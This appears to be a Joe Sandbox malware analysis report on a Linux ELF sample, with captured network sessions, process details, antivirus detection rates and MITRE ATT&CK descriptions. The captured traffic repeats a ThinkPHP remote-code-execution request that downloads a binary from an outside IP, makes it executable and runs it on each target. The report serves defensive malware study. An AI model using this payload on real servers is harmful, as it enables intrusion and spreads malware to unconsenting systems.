Jul 20, 2024 23:00:59.259202957 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.13	49166	88.248.146.190	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.261233091 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.13	44784	88.114.68.157	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.263406038 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.13	53362	88.124.234.147	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.265440941 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.13	44884	88.86.157.38	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.267520905 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.13	34088	88.94.186.220	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.269552946 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.13	56542	88.50.180.63	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.271528006 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.13	55498	88.124.135.162	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.273582935 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.13	49414	88.243.42.220	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.275588989 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.13	34234	88.3.114.76	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.277708054 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

System Behavior

Analysis Process: ts2d2a5oFa.elf PID: 5437, Parent PID: 5360

General

Start time (UTC):	21:00:57
Start date (UTC):	20/07/2024
Path:	/tmp/ts2d2a5oFa.elf
Arguments:	/tmp/ts2d2a5oFa.elf
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	21:00:58
Start date (UTC):	20/07/2024
Path:	/tmp/ts2d2a5oFa.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	21:00:58
Start date (UTC):	20/07/2024
Path:	/tmp/ts2d2a5oFa.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	21:00:58
Start date (UTC):	20/07/2024
Path:	/tmp/ts2d2a5oFa.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	21:00:58
Start date (UTC):	20/07/2024
Path:	/tmp/ts2d2a5oFa.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	21:00:58
Start date (UTC):	20/07/2024
Path:	/tmp/ts2d2a5oFa.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	21:00:58
Start date (UTC):	20/07/2024
Path:	/tmp/ts2d2a5oFa.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Source: ts2d2a5oFa.elf	ReversingLabs: Detection: 52%
Source: ts2d2a5oFa.elf	Virustotal: Detection: 56%			Perma Link

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report ts2d2a5oFa.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.9fAX9r (deleted)

/tmp/qemu-open.MSi0nE (deleted)

/tmp/qemu-open.qY7zvD (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: ts2d2a5oFa.elf PID: 5437, Parent PID: 5360

General

Chronological Activities

Analysis Process: ts2d2a5oFa.elf PID: 5439, Parent PID: 5437

General

Chronological Activities

Analysis Process: ts2d2a5oFa.elf PID: 5441, Parent PID: 5439

General

Linux Analysis Report
ts2d2a5oFa.elf